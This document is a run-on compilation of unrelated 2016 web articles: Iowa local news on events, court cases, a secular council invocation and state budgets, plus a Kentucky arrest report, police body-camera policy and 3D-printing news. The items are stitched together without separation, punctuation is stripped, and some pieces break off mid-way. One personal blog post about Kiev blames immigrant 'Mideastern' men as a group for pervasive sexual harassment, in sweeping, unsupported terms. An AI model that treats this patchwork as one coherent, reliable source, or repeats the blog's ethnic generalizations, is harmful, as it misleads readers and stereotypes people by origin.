After college, Cavanaugh spent three years as a religion teacher at an all-girls high school. In his last year as a teacher, he moonlighted at Zanies Comedy Club in his hometown of Chicago.

Bitten by the comedy bug, he decided to devote all of his energy toward being funny. But his teaching background taught him that preparation and professionalism are the cornerstones of any career  even one in the comedy business. And thats exactly what Cavanaugh brings to every show and to every event.

Tickets for the Saturday show are available at Arnold Motor Supply, Cedar Falls; Edward Jones, Waterloo; Century 21 Realtors, Cedar Falls; and The Shop, Hudson. Tickets are $15 in advance and $20 at the door.
CEDAR FALLS  Walker are expected to raise some $18,000 on Saturday in Cedar Falls to raise money for multiple sclerosis research.

The Walk MS: Christopher & Banks Cedar Falls Walk will take place on the the University of Northern Iowa campus. The event is one of seven Walk MS events being held across Iowa on Saturday, which are expected to raise more than $300,000 statewide.

Funds raised will accelerate research breakthroughs aimed at finding solutions for people with MS and provide life-changing services to families affected by the disease.

Multiple sclerosis is an unpredictable, often disabling disease of the central nervous system that interrupts the flow of information within the brain and between the brain and body. Symptoms range from numbness and tingling to blindness and paralysis. The progress, severity and specific symptoms of MS in any one person cannot yet be predicted, but advances in research and treatment are moving researchers closer to a world free of MS.

Most people with MS are diagnosed between the ages of 20 and 50, with at least two to three times more women than men diagnosed with the disease. MS affects 2.3 million people worldwide.

Check-in for the Cedar Falls walk begins at 9 a.m. at the Wellness/Recreation Center on the UNI campus.

Walkers will travel a one- or three-mile scenic route, and there will be refreshments and a finish line celebration. This year more than 13,000 people are expected to participate in Walk MS events across the Upper Midwest Chapter area, which includes Iowa, Minnesota, North Dakota, South Dakota and western Wisconsin. Walk MS is the 12th largest fundraising event in the nation.

For more information, contact Brent Renneke at (612) 335-7918 or brent.renneke@nmss.org.
CEDAR FALLS  Bel Canto Cedar Valley will present Images  at 3 p.m. May 1 at First Presbyterian Church.

The concert will feature works by Mozart, Rossini, Vaughan Williams, Whitacre, Clausen, Hildegard von Bingen and a world premiere of In Midnight Sleep by Devin Wipperman, an Iowa composer and member of the group.

Admission is $10 for the hour-long concert. Tickets can be purchased ahead from chorale members, online at www.belcantocedarvalley.org or at the door. A dessert reception will follow the concert.

Bel Canto Cedar Valley, founded in 2012 by Artistic Director Alice Reid Pruisner, aims to promote quality choral music in Northeast Iowa. For more information, go to www.belcantocedarvalley.org.

This concert is made possible through support from the Community Foundation of Northeast Iowa.
WATERLOO  A Black Hawk County judge has found a Waterloo man guilty of stabbing a Tripoli man outside an apartment building in December.

Jeron Levell Garrison, 34, had waived his right to a jury trial, and his attorney argued that prosecution witnesses werent credible in identifying Garrison during a March bench trial. His attorney also argued that it was possible that if Garrison was responsible for the stabbing, he acted in self defense.

Authorities said Garrison got into an argument with 34-year-old Jacob Duhrkopf, who owed money to an acquaintance of Garrison, in the parking lot of University Studios East on University Avenue on Dec. 10. Garrison got in Duhrkopfs vehicle and refused to leave, and when Duhrkopf tried to remove him, he was stabbed, police said.

On April 14, Judge Brad Harris issued a ruling finding Garrison guilty of willful injury causing serious injury.

The judge noted that part of the encounter was captured the apartment buildings grainy video surveillance system.

No person other than the defendant was in the immediate vicinity of Duhrkopf when he sustained his injuries, Harris wrote in his ruling. From the fact presented, there is no reason why the defendant could not have walked away and avoided a physical confrontation with Duhrkopf.

Sentencing has been scheduled for May.
WATERLOO  A man who was shot by Waterloo police during a November chase will have to put up bond to remain out of jail while awaiting trial on charges involving the pursuit.

Brandon Ryan Seeley, 24, had been allowed to remain free without posting bond after he was released from a hospital where he was treated for gunshot wounds. His attorney said he has been disabled since the shooting and currently lives in Anamosa.

On Thursday, Assistant Black Hawk County Attorney Jeremy Westendorf asked the court to require Seeley to post a $50,000 bond to remain out of jail based on allegations Seeley had been gambling and tested positive for drugs while on pretrial release.

Seeley is currently awaiting trial for charges of assault on an officer, possession of meth with intent to deliver and eluding. He also is on probation for a possession of marijuana with intent to deliver charge out of Jones County in connection with a 2012 incident.

The probation officer from Seeleys Jones County case testified an agent with the Iowa Division of Criminal Investigation spotted Seeley at the Isle Casino in April. The DCI agent then ran Seeleys players club card and found it had been used on about a dozen days since late March. He said this was a probation violation because Seeley hadnt been given permission to leave Jones County.

The probation officer also said Seeley tested positive for meth and marijuana March 10. He said Seeley admitted to smoking marijuana but denied using meth and suggested it came from residue in an acquaintances pipe he had used. A March 23 test showed the same results, and the officer said he suspected the marijuana had lingered in Seeleys system since the earlier use, but he said Seeley had no explanation for the meth, which should have worked its way out of his system by then.

Seeleys fiance, Chelsea Brocka, took the stand and testified she had been to the casino with Seeley once, but other times she had been the one using Seeleys players club card at the Isle.

In the end, Judge George Stigler imposed a $5,000 bond but allowed Seeley to remain free for a day while he made arrangement to come up with the money.

The chase and shooting stem from a Nov. 3 incident where Waterloo police attempted to stop Seeley as part of a drug investigation. Seeley led officers on a high-speed chase through neighborhoods before pulling into the parking lot of a law firm at West Fourth and Wellington streets.

A patrol officer blocked Seeleys vehicle, but he backed around the squad car and ignored commands by a plain clothes officer to stop. After backing, Seeley allegedly drove at the officer, who had his pistol drawn, according to a DCI synopsis of the incident. The officer fired through the window as Seeleys vehicle approached, according to the DCI. Seeley was hit but continued driving until he reached a friends home on Hackett Road, where he was detained.
WATERLOO  Police detailed evidence they recovered as trial continued Thursday for a man accused of taking part in the January robbery of a delivery driver.

Isaiah Manuel Zacharias, 19, is charged with second-degree robbery in the holdup on Mulberry Street where an accomplice allegedly threatened a driver for East China restaurant with a BB gun and then shot the driver in the back as he ran off.

The driver testified Wednesday, but he said Zacharias wasnt the man who led him to the back of the house where the robbery took place, as prosecutors had stated in openings.

On Thursday, investigators said they found the BB gun under a parked car in the area, and they also discovered a LG cell phone used in the robbery outside of the vacant house.

Officers said shortly after the crime, a teenager called to report his phone was stolen when he was mugged. The teen, Kyle Smith, arrived at the police station and allowed officers to examine the phone.

Investigator Michael Rasmussen testified the first thing they saw when he opened the phone was a police radio scanner app that was set for Black Hawk County Dispatch frequencies. The phones call log also showed an earlier outgoing hang-up call to East China that took place a few hours before the robbery, Rasmussen said. Smith also is charged in the robbery.
WATERLOO  A local atheist activist is slated to deliver the invocation at an upcoming City Council meeting.

Members of Cedar Valley Atheists are calling it a huge victory for the secular community Justin Scott has been invited by Waterloo Mayor Quentin Hart to give a secular invocation at the May 2 meeting.

Scott is administrator for the group that wasnt happy when Hart decided in February to open the first council meeting of each month with a prayer. That practice, which is rare in Iowa cities, had been discontinued in Waterloo in 2004.

We felt there was no reason to bring prayer back to government meetings, Scott said. Politics is already divisive enough; why bring something controversial like prayer into the mix?

Once the mayor made it clear that his plan for bringing prayer back to meetings wasnt going away, we in the secular community were committed to making sure that the process was inclusive and followed the law of the land, he said.

Hart met with Scott and Cedar Valley Atheists founders Joshua Adams and Brian Helmrichs in March to discuss the situation. The group felt Harts move showed favor to the local faith-based community and was exclusionary to nonbelievers who may want to be involved the citys decision-making process.

In 2014, a 5-4 U.S. Supreme Court ruling upheld sectarian prayers before government meetings as constitutional, provided they arent coercive, dont denigrate other religions and do not require participation by people who do not share the same beliefs.

Hart has made a point of telling those at council meetings they are not required to participate in the invocations  something Scott said he appreciates  and he is working on other rules to ensure the actions dont overstep the Supreme Court guidelines.

That includes inviting an atheist to deliver an invocation.

This is an opportunity to make sure we are being inclusive in our community, Hart said.

Scott said he views the invitation as a way to shine a positive light on atheism, or the separation of church and state.

I hope in a small way that by giving this invocation, more atheists and nonbelievers will feel like they are being represented and that the new mayor is embracing the role nonbelievers play in a growing and vibrant community, Scott added.

Scott made national headlines during the Iowa Caucuses when he quizzed major presidential candidates passing through Iowa about their faith, why atheists should vote for them and where they stood on the separation of church and state.

He said Cedar Valley Atheists will continue monitoring the City Council meetings.

Were going to keep a watchful eye on it, he said. If it starts to become an exercise in exclusion rather than inclusion thats when well have a problem. We dont want Waterloo City Council meetings or any government meeting to turn into revivals.
DES MOINES  The Iowa House Appropriations Committee approved $89.6 million infrastructure spending plan Thursday that is $19 million less than what the Senate approved a day earlier.

A major difference is House majority Republicans rejected bonding to finance improvements at the Wallace State Office Building, the State Historical Building and the Iowa Law Enforcement Academy.

The Senate plan called for borrowing $110 million to upgrade the three state buildings.

My position is that weve been able to do things on a pay-as-you-go basis, and I dont think we need to change that, said floor manager Rep. Dan Huseman, R-Aurelia.

Also Thursday, the House approved a $1 billion higher education budget after amending it to increase the private college tuition assistance.

Senate Transportation, Infrastructure and Capitals Appropriations Chairman Matt McCoy, D-Des Moines, said pay-as-you-go isnt always possible.

Unfortunately, were in a situation now where we dont have the money to do pay-as-you-go, McCoy said. If we dont bond, theres no money. They just continue to deteriorate.

However, Huseman said repaying bonds for Vision Iowa and former Democratic Gov. Chet Culvers I-JOBS program cost about $70 million a year.

Thats $70 million I dont have to spend in this budget, Huisman said, adding he doesnt see what the state got out of the I-JOBS program.

I-JOBS was a state bonding program that funded 1,700 projects in all 99 counties, including repairs and replacement of many public buildings, roads and bridges damaged by flooding in 2008.

Gov. Terry Branstad has indicated he would not support bonding, but did recommend $65 million over five years from RIIF to renovate the historical building.

In floor action, the House voted 52-41 to approve an education appropriations bill that will provide a $6.3 million increase to regent universities and a $3 million boost to Iowas 15 community colleges, but the increase is unlikely to prevent tuition increases and cutbacks at Iowas public universities and community colleges next school year. The Board of Regents asked for a $20 million increase. The overall budget increase would provide an extra $1.3 million for the University of Iowa, $2.2 million for Iowa State University and $2.78 million for the University of Northern Iowa.

The House voted 94-0 to amend the bill to increase funding for the private college tuition grant program $250,000 from $48,689,681 to $48,939,681.

The higher education budget is the third largest piece of the $7.35 billion general fund budget.

Both chambers also included $79.4 million for the Rebuild Iowa Infrastructure Fund. Included in that was $42 million in the states Environment First Fund and $32.4 million in tuition replacement funding at the state Board of Regents institutions.

The House also appropriated $10.2 million for water quality to the Department of Agriculture and Land Stewardship.

Thats twice what the Senate budgeted.

In several cases, the House appropriations were less than the Senate. In other cases, it shifted funding to other sources, as in $15.9 million for the University of Northern Iowas Schindler Building from RIIF to the bond repayment fund.

Among the cuts was $750,000 split equally between the USS Iowa battleship museum in San Pedro, Calif., the Sullivan Brothers Museum in Waterloo and the Gold Star Museum at Camp Dodge.

The House also plans to use the bond repayment fund to pay for repairs to the dome and new outdoor lighting at the Capitol.
DES MOINES --- A planned $16 million expansion of Hydrite Chemical Companys plant in Waterloo would receive nearly $792,000 in state tax relief thanks to action taken Friday by the states economic development board.

Hydrite plans to construct a 20,000-square-foot building to increase its manufacturing capabilities, according to its application to the Iowa Economic Development Authority.

The privately financed expansion project will result in 11 new jobs, each of which must pay at least $16.79 per hour and meet certain health insurance benchmarks in order for the project to qualify for the state tax breaks.

The state assistance package include $635,000 in a tax credit and $157,000 in sales tax refunds.

A spokesman for Hydrite said the company does not have a comment on the state tax breaks because the project is still pending board approval.

The City of Waterloo also has offered more than $100,000 in a 5-year tax abatement.

The Brookfield, Wis.-based Hydrite Chemical Company has operated in Waterloo for 38 years, and presently employs 91 people, according to its application to the board.

The company is one of the countrys largest manufacturers and distributors of chemical products, with locations in Iowa, Wisconsin, Illinois, Indiana and California.
WATERLOO -- Mayor Quentin Hart is scheduled to deliver a "State of the City Address" on April 29 at the Dr. Walter Cunningham School for Excellence.

The public is invited to attend the 10 a.m. event in the school gym by entering door 2 at the northwest end of the building, 1224 Mobile St.

Hart is expected to talk about the city's successes, challenges and progress. His son, a fifth-grader at Cunningham, will introduce the mayor.
CEDAR FALLS  A scavenger hunt in downtown Cedar Falls is planned in May to celebrate National Historic Preservation Month.

All correctly completed entries will be included in drawings for $50 Oster Regent Theatre Drama Dollars, a $50 Community Main Street gift certificate, a $20 Tourism & Visitors Bureau gift certificate, a copy of Images of Modern America: Cedar Falls and a set of Architecture Legos.

People can pick up and drop off entry forms at the Community Main Street office, 206 Main St., Bike Tech, Cedar Falls Historical Society, Cedar Falls Public Library, Cedar Falls Tourism & Visitors Bureau, Oster Regent Theatre, Scratch Cupcakery, or via email to communitymainst@cfu.net.

Deadline is June 3.

The event is sponsored by the Cedar Falls Historic Preservation Commission, Historical Society, Community Main Street, Tourism & Visitors Bureau, Northeast Iowa Architects Section and the city of Cedar Falls.
GLADBROOK  If they can be categorized at all, artist Pat Actons previous creations gravitated toward mechanics and architecture.

Using wooden matchsticks and glue, he has tended to replicate oversize miniatures of famous buildings  like the U.S. Capitol, Notre Dame Cathedral and Hogwarts School of Witchcraft and Wizardry  and iconic machines  such as the Space Shuttle Challenger, International Space Station and the battleship USS Iowa.

Of course, a bit of imagination always comes into play. But Actons 2016 model puts his skill as a designer and sculptor on full display.

His two-headed dragon settling in at the Matchstick Marvel Museum in Gladbrook ripples with curved muscles. A flowing tail curls from behind, and motion sensors tell the beast when to respond to nearby visitors.

The dragon flaps its wings and roars a warning when people pass. Red lights illuminate the monsters mouth, suggesting flames are on the way.

I really enjoyed doing the mechanical and the sound effects and the lighting, Acton says.

Returning to more of a sculpting mode was welcome as well.

They all have their challenges, says Acton, who started piecing matchsticks together in 1977.

Acton spent about nine months on the project.

Lots of hours. Many, many 10-hour days and seven-day weeks, he says.

I had to crimp and bend literally tens of thousands of matchsticks on this one. That really slows it down, Acton adds.

His dragon features 272,000 matchsticks held in place by nine gallons of glue. The model is 5 feet tall and 11 feet long. It has a 10-foot wingspan.

Like several previous works, Actons dragon will join the Ripleys Believe It or Not collection. The company specializes in the unusual and unique with odditoriums set up around the world.

Acton originally had a three-year contract to provide Ripleys with his kind of models.

But they just keep extending that, he says.

About four years ago, Acton forwarded the idea of either a dragon or Tyrannosaurus rex. Ripleys until recently opted for other designs.

It was actually their suggestion to make it a two-headed dragon  anything to make it more complicated, Acton says.

Ripleys officials may send the new attraction to Dallas, Texas, but theyre notorious for changing their minds, Acton says.

In any event, the two-headed dragon will only be on display until June 25 in Gladbrook, according to JoAnn Ruopp, manager of the Matchstick Marvels Museum.

Ruopp has seen most of Actons models and has her favorites.

Hogwarts is still one of my favorites, and the train last year was pretty cool, she says.

When Acton mentioned a dragon was developing in his workshop, Ruopp began to wonder.

I had no idea what to expect, she says.

Recent museum visitors have been duly impressed, and Ruopp has taken to warning parents with small children: This model moves and roars.

Their eyes just go woooooo, she says.
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By West Kentucky Star Staff

Apr. 21, 2016 | PADUCAH, KY

By West Kentucky Star Staff Apr. 21, 2016 | 11:21 AM | PADUCAH, KY

A Paducah man was arrested Tuesday on burglary and drug charges.



On Tuesday McCracken County Sheriffs Deputies responded to a burglary at a home in the 7100 block of Old Calvert City Drive in the Reidland area. Several items were reported as missing including old stereo equipment, tools, shop equipment and an antique sewing machine.



Neighbors reported seeing 31-year-old John Myrick at the home a few days prior. Deputies located Myrick at 3404 Cook Street and arrested him on several unrelated bench warrants. While arresting Myrick, deputies reportedly saw several old pieces of stereo equipment inside the home. During an interview, deputies said Myrick admitted to having additional stolen items inside his home, including the sewing machine.



During a search deputies found the sewing machine, along with the stereo equipment. They also found a syringe loaded with methamphetamine.



Deputies said they later discovered that Myrick had recently pawned a rifle that had been reported stolen in a burglary earlier this year.



Myrick is charged with receiving stolen property, burglary, possession of a controlled substance and possession of drug paraphernalia.



Deputies said additional charges or arrests are possible.
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If you decide for some reason to travel to Kiev, Ukraine?.and you are a woman! I will give a simple warning and you can take it or leave it Dear Women; In Kiev there are a whole bunch of immigrants! Immigrant men to be exact and you will be harassed, touched, felt, pinched, groped, followed and anything else your little heart will desire and or maybe not desire, if you travel without a man by your side The immigrants are over running Kiev, Ukraine and I heard much more Turkish and other Mideast language than even Ukrainian The new police look the other way and the abundant militia groups laugh as they watch I personally tried to help in several situations and realized real quick that I would be in trouble and not the harassers. The police simply walk away if they see it and it is happening constantly in the Metro, underpasses and sidewalks of Kiev. They do not bother the men and the men in Kiev do nothing to stop it

* * * * * * * * * *

I have thought about this situation since I came back from Kiev and watched it happen dozens of times in Kiev. The underpasses, which are plentiful in Kiev, are bad news. I heard cries of anger and the women in Kiev simply ran at times and many times there would be a pack of immigrants laughing and making rude gestures and remarks. What gave me the feel for the soul of Kiev was the Ukraine men did not defend the women and I lost tremendous respect. I actually came to the help of several women and no other man cared or helped. Including the police and military, all of which are very very abundant in Kiev

In the metro, I physically stepped in front of a greasy sleazeball as he slithered in to grab a woman. He grabbed me instead and I faced him as the color drained from his face. If it was not so terrible, it would have been funny, but he actually ran away and this grouchy bear could not catch a small Turd in that crowd. Yes it was immigrated Mideastern men and they are crossing into Ukraine it seems by the thousands and thousands

That is all I will say and that is why I have written very little about Kiev and my experience. This is one area that I feel that people should know and by far not the only area that has become extremely corrupted in Kiev. I will not tell about the rest of Ukraine, but I was all over Kiev and it was not situation as an issue in just the poor part of town

It was an issue all over Kiev and embarrassing to see and hear

I wrote this on 04/22/2016 and you use your judgment if you travel to Kiev. I will not allow Svetochka to travel to Kiev anymore, because I care about her and she likes to walk alone many times. Kiev is not safe for a woman

Kiev is in serious trouble and they (Kiev) are the problem

WtR
If youre looking to try out an online casino, there are several things that will help you make a decision. Heres what you should look for when choosing an online casino

 Are they regulated? A lot of the larger ones have licenses issued by the authorities in their respective regions, so its worth checking this first.

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Early this month 1011 News told you about a man filing a lawsuit against the City of Lincoln claiming police used excessive force. According to court documents the man claims LPD held him in a choke hold where he lost consciousness and fractured his shoulder blade.

The man also faces charges for obstructing a peace officer and resisting arrest. LPD claims the man was combative.

While covering this ongoing case LPD told 1011 News some of the officers were wearing body cameras, but just one had a recording of the incident. And that officer activated their camera after the initial scuffle.

This prompted 1011 News to look into what law enforcement agencies are using body cameras and how they use them. Below is a table comparing five how five local departments use body cameras.

Most police body cameras operate like the UNLPD's camera. All recorded footage is dumped into a server, and protected with software safeguards.

UNLPD, Belleview Police Department, and Kearney Police Department encourage officers to hit the record button before every encounter with the public. But the Nebraska State Patrol and the Lincoln Police Department instruct officers to record when they think it is needed.

Interim Police Chief Brian Jackson says his department does not record everything because of the concern of cost and privacy for both citizens and officers. Using four cameras for the past four years, Jackson says the department does not have a written policy on how to use cameras because they are still testing out the technology.

Starting in 2017 all law enforcement agencies in Nebraska will have to develop written body camera policies under a new law. "Our new policy will be the minimum standard for Nebraska law enforcement," said executive director of the Nebraska Crime Commission, Darrell Fisher.

Fisher would not go into specifics because the commission is still working the policy, but did say the current draft requires law enforcement to record every public encounter. Departments would also be required to wait at least 90 days before deleting any footage, which none of the departments 1011 spoke with currently do.

Captain Plessel at UNLPD says this may cost some departments more money and time, but for his department, it's worth it.
Apr 22, 2016 | By Benedict

Researchers from the Cybernetics Department of the Military University of Technology in Warsaw and the Optoelectronics Department of the Silesian University of Technology have been using 3D printed heart models for research purposes.

3D printing, like any burgeoning area of technology, has both its champions and its skeptics. But whatever ones position on the industry as a whole, there is one area in which its usefulness is rarely doubted: medicine. Over the last few years, additive manufacturing has been used by medical professionals and researchers to create a variety of models, surgical guides, and bioprinted body parts, contributing to the welfare of countless patients.

Many areas of medical research have benefitted from 3D printing, but research concerning the human heart remains a particularly important and enduring project. 3D printed heart models help to save lives on a daily basis, and research is taking place across the globe that could someday produce a functional, 3D printed artificial heart which could be implanted in a human body. A group of Polish researchers is working somewhere in between those two goals, working with 3D printer manufacturer and compatriot Zortrax to build a number of 3D printed hearts which could contribute to the safety and efficacy of future artificial hearts, 3D printed or otherwise.

The 3D printing research group consists of a number of Polish academics across two universities: Dr. Krzysztof Murawski, PhD, Dr. Leszek Grad, PhD, and Dr. Artur Arciuch, PhD, all from the Military University of Technology in Warsaw, and Prof. Tadeusz Pustelny and his team from the Silesian University of Technology. Their collective goal is to use 3D printed heart models to develop innovative methods of analysis and measurement which rely on artificial neural networks and the use of augmented realities in sensory technology.

These tests are performed on cardiac chamber models, 3D printed using the M200 3D printer from Zortrax, an FDM 3D printer with a 200 x 200 x 180 mm build volume and 90-400 micron resolution. That 3D printer was initially the subject of a 2013 Kickstarter campaign, with 144 backers helping to bring the popular machine into mass production. The 3D printed models created with the M200 each consist of a hematic chamber, pneumatic chamber, and membrane, with both the hematic and pneumatic chambers fully 3D printed. The membrane is not itself 3D printed, but a 3D printed mold is used to shape the silicone or rubber into the correct shape.

The researchers are using the 3D printed heart models to verify scientific hypotheses and to perform experimental research which could help increase the safety of future artificial hearts. By 3D printing the heart models, the research team has been able to save a significant amount of money and perform a broader range of research than would have been possible with commercially available models.

Posted in 3D Printing Application

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Apr 22, 2016 | By Benedict

Maine-based footwear 3D printing specialist Cobbler Technologies has unveiled its new Atomized Particle Deposition (3DAPD) 3D printing process. 3DAPD is able to functionally grade multiple materials in real time, enabling on-the-fly material mixing.

3D printed footwear manufacturers have been stepping up to the plate lately, with New Balance releasing a limited run of the incredible 3D printed Zante Generate running shoe last Friday, and Under Armour delivering its own 3D printed sneakers a month before. But when it comes to 3D printed footwear innovation, its not all about the big sportswear names. Cobbler Technologies, a 3D printing startup situated in the shoe manufacturing Mecca of Maine, has been quietly working on a high-tech manufacturing solution which could revolutionize the way that additive manufacturing is used to create footwear. The company closed on a round of equity financing from Boston investors on Monday, after also winning seed financing from the Maine Institute of Technology and $25,000 from the Scratchpad accelerator pitch contest.

Cobbler Technologies has already produced a number of high-quality 3D printed shoes, but according to a recent press release from the startup, its latest technological innovation could take its operations to a whole new level. Atomized Particle Deposition, or 3DAPD, uses high-velocity gases to turn raw materials in a liquid or semi-liquid state into very fine droplets, which are then deposited as an atomized spray. The dedicated Cobbler 3D printer, built to perform this new process, can then deposit customized layers of atomized material in three dimensions, with fine particles producing a smoother surface finish than is possible with most existing consumer 3D printing technologies. The multiple nozzles of the 3D printer can extrude multiple raw materials from industrial reservoirs, enabling on-the-fly material changes between layers.

Cobbler Technologies believes that its new 3D printing process can offer numerous advantages to footwear manufacturers, and is currently open to forming partnerships with a range of footwear brands in order to bring 3DAPD-produced shoes into the mainstream. 3DAPD enables users to print foams, rubbers, and plastics, as well as advanced polymers, giving footwear companies near-unlimited material possibilities when designing new and innovative products. Use of the Cobbler 3D printer also enables footwear manufacturers to manufacture special edition shoes in smaller quantities, without the high costs that tend to be associated with small production runs.

Cobbler Technologies currently devotes all of its efforts to the optimization of 3D printing for the footwear industry. The Philosophy section of its website states: 3D printing is a broad field with many players and many different needs. We do not try to be everything to all people. We have chosen to do one thing and do it well: Multi-material 3D printing for the footwear industry.

Despite its philosophy, however, Cobbler Technologies is becoming more open-minded about the prospect of moving beyond footwear, given the potential versatility of its 3D printing technology. Cobbler is focused on developing a 3D printer for the footwear industry and its unique needs. However, we are investigating potential strategic alliances and partnerships in additional industries, in order to commercialize our technology, said Peter Klein, chairman of Cobbler Technologies.

Lots of shoe manufacturers use 3D printers, but only to make prototypes, Klein told the Portland Press Herald. Ours is designed to be integrated into the manufacturing process. We have 25 different layers of materials that we can change on the fly without interrupting the manufacturing process.

Although the work being carried out by footwear brands like New Balance, Under Armour, and Nike is undoubtedly exciting for the 3D printing industry, the emergence of new and independent businesses provides some much-needed competition in the field. With such a small number of huge corporations monopolizing the running shoe industry, its hard not to root for startups like Cobbler Technologies in the race for 3D printed footwear success. Lets hope that the new 3DAPD technology can give the company enough of a spring in its step to carry it over the finish line.

Posted in 3D Printing Technology

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Apr 22, 2016 | By Alec

The Chinese medical world is increasingly becoming known for their very open approach to new 3D printed solutions. A diverse list of 3D printed medical innovations has already been used in Chinese hospitals, where the lives of numerous patients have already been saved with the help of 3D printed surgical tools or implants. But these efforts are no longer confined to the third dimension, as surgeons in the Tang Du Hospital in Xian have become the first in China to use 4D printed tools during surgery. Using a 4D printed tracheal stent, they successfully operated on the 46-year-old Ms. Wu, who suffered from a life-threatening respiratory obstruction.

The patient in question is a farmer from the Xingping county in the Shaanxi province. She had been taking medication to fight endobronchial tuberculosis for the past two years already, but the condition had gradually worsened over the past six months. Then one night, a few weeks ago, the 46-year-old could no longer cough up sputum, which severely limited her ability to breathe. After an hour of trying, with her face becoming increasingly purple, her family quickly took her to the Tang Du Hospital.

There, it was discovered that the patients trachea had softened and was ready to collapse. At one point, the trachea had even narrowed down to just 3 mm. As the hospitals thoracic surgeon Li Xiao-Fei explained, this was life threatening. A trachea is about 12 cm long, but half of Ms. Wus trachea could no longer function. As the surgeon explained, this was a very rare complication and prevented them from inserting a traditional tubular support stent, as this would cause expectoration difficulties and other complications.

To save the patient, the surgeon thus had to act quickly and turned to the latest 4D printing solutions. The surgery itself took place on the morning of March 28. Taking a 4D printed tracheal stent, this tubular support was inserted into the patients windpipe to keep it open and enable airflow. It also enabled the surgeons to lift up the softened trachea and suture it into place. This enabled them to open up the airway and make manual breathing possible again. Now that the airway is opened up, I can breathe and spit normally again. Before the surgery, I could hardly even breathe, the patient said afterwards.

But whats so special about a 4D printed stent? 4D printing is one of those terms that pops up every so often. Its essentially a 3D printed object with specific material properties that allow it to change into another shape without human intervention. An example would be a 3D printed plastic seal that opens or closes when exposed to a certain amount of pressure or water. In this particular medical situation, the surgical team developed a 3D printed stent that is gradually absorbed by the body over a two to three year period, eliminating the need for an invasive second surgery. The model was based on a foreign-made stent, though that was only used for a 1.5 cm lesion  not a 6 cm one. First 3D printing a test model, Li Xiao-Fei subsequently decided to implement a custom-made 4D printed scaffold.

According to the surgeon, this successful operation on Ms. Wu paves the way for a lot of similar procedures. The 4D printed trachea scaffolding, made from absorbable polycaprolactone biomaterials, not only proved to be a successful solution for tracheal stenosis, but it also decreases the stress for the patients involved. As the material is biocompatible, the likelihood of adverse reactions are minimized, while the need for a second surgery is completely eliminated. Li Xiao-Fei therefore went as far as saying that 4D printing could be used to upgrade trachea surgery as a whole in the near future.

Posted in 3D Printing Application

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Apr 22, 2016 | By Kira

NASA has successfully tested a 3D printed rocket engine turbopump using liquid methane in place the previously tested liquid hydrogen. The tests proved that the highly-complex 3D printed component could pump 600 gallons of liquid methane per minute, enough to power an engine capable of generating 22,500 pounds of thrust. These extremely promising results which could now pave the way for future, methane-fueled Mars landers.

Turbopumps are critical rocket engine components consisting of two turbines that spin at extremely fast speeds and can generate more than 2,000 horsepowertwice the horsepower of a NASCAR engine. However, they are also some of the most complex rocket engine parts to manufacture.

Luckily, metal additive manufacturingspecifically, selective laser melting, or SLMhas been a key technology in allowing NASA not only to build advanced rocket engine turbopumps, but to do so more quickly and efficiently than possible with traditional manufacturing methods.

Additive manufacturing allowed us to build the turbopump with 45 percent fewer parts, said Nick Case, the propulsion engineer who led the testing at NASAs Marshall Space Flight Center in Huntsville, Alabama. This made it affordable to build two turbopumps, get them on the test stand quickly, and get results.

NASA is making big advances in the additive manufacturing arena with this work," added Marty Calvert, Marshalls design lead for the turbopump. Several companies have indicated that the parts for this fuel pump were the most complex they have ever made with 3-D printing.

What is even more exciting, however, is the fact that these 3D printed turbopumps were successfully tested with liquid methane, which is considered to be an ideal propellant for fueling Mars landers and other spacecraft.

Whereas previously, NASA tested its 3D printed turbopump using liquid hydrogen, liquid methane is much more suited to life on Mars. As NASA explains, liquid methane is cooled to 255 degrees below zero Fahrenheit (-159C), whereas liquid hydrogen is cooled to 400 degrees below zero Fahrenheit (-240C).

That 145-degree difference means liquid methane boils off more slowly, and can be stored for longer periods of timea major bonus for future Mars missions. Furthermore, methane rocket fuel can be manufactured from carbon dioxide, which is found in abundance on the Red Planet.

During the full power test, the 3D printed turbopumps turbines generated 600 horsepower, while the fuel pumps got its heartbeat racing at more than 36,000 revolutions per minute, delivering 600 gallons of liquid methane per minute. That is enough power to fuel an engine producing over 22,500 pounds of thrust. Three other tests were completed at lower levels, and all helped to ensure that the 3D printed parts would operate successfully under the extreme and harsh conditions found in space.

Methane propulsion and additive manufacturing are key technologies for the future of exploration including NASAs journey to Mars, said Graham Nelson, a Marshall propulsion engineer who helped with the testing. Were excited to complete testing that advances both these technologies at the same time and improves the capabilities of future missions.

NASA added that by demonstrating that the 3D printed turbopump could work with different types of fuel, they have proven that a common design can work for engines fuelled by either methane or hydrogen. This is a crucial finding that will pave the way for even more complex 3D printed rocket engine parts.

Artists concept of a Mars lander whose fuel tanks are filled with liquid methane, liquid oxygen, and engine nozzles.

The next step for NASA will be to test the liquid methane turbopump with other 3D printed engine components in a similar configuration to the liquid hydrogen tests.

Designing, building, and testing a 3-D printed rocket part as complex as the fuel pump was crucial to Marshalls upcoming tests of an additively manufactured demonstrator engine made almost entirely with 3-D printed parts, said Mary Beth Koelbl, deputy manager of Marshalls Propulsion Systems Department, during the initial testing in August. By testing this fuel pump and other rocket parts made with additive manufacturing, NASA aims to drive down the risks and costs associated with using an entirely new process to build rocket engines.

NASA has been at the forefront of bringing 3D printing to the final frontier, exploring the unprecedented potentials of metal additive manufacturing in its rocket engine and aerospace components. The national space giant has previously tested 3D printed F-1 rocket engine parts, 3D printed RS-25 rocket engines, and is currently working with Made in Space on Archinaut, an in-orbit robotic 3D printing demo.

Watch the 3D printed methane-powered turbopump test in action in this video by NASA:

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Apr 22, 2016 | By Benedict

Shell has unveiled a new ultra-compact, energy efficient concept car as part of Project M, a collaboration with Gordon Murray Design and Geo Technology. The new vehicle, based on Gordon Murrays T.25 city car, contains a number of 3D printed components.

Promises of energy efficiency should always be taken with a pinch of saltwhen they are delivered by global oil corporations, that is. Contrary to its appearance, the Shell Concept Car is not an electric car. It isnt even a hybrid. It does, however, deliver a 34% reduction in primary energy use over its lifecycle when compared to a typical city car, and a 50% reduction when compared to a small family car, demonstrating thatwith the right designcars with three cylinder 660-cc petrol engines could save the planet. Sort of.

The Shell Concept Car has been described as a total rethink of the T.25 city car, which was created in 2010 by Gordon Murray Design, but never taken to production. Unfortunately, the Shell Concept Car brings Murrays design no closer to the masses, being built as a demonstration of design optimization for reducing energy consumption. 'This is a car for today, intended to inspire thinking about maximizing personal ability while minimizing energy use, said Professor Gordon Murray, CEO of Gordon Murray Design.

3D printed areas of the Shell Concept Car

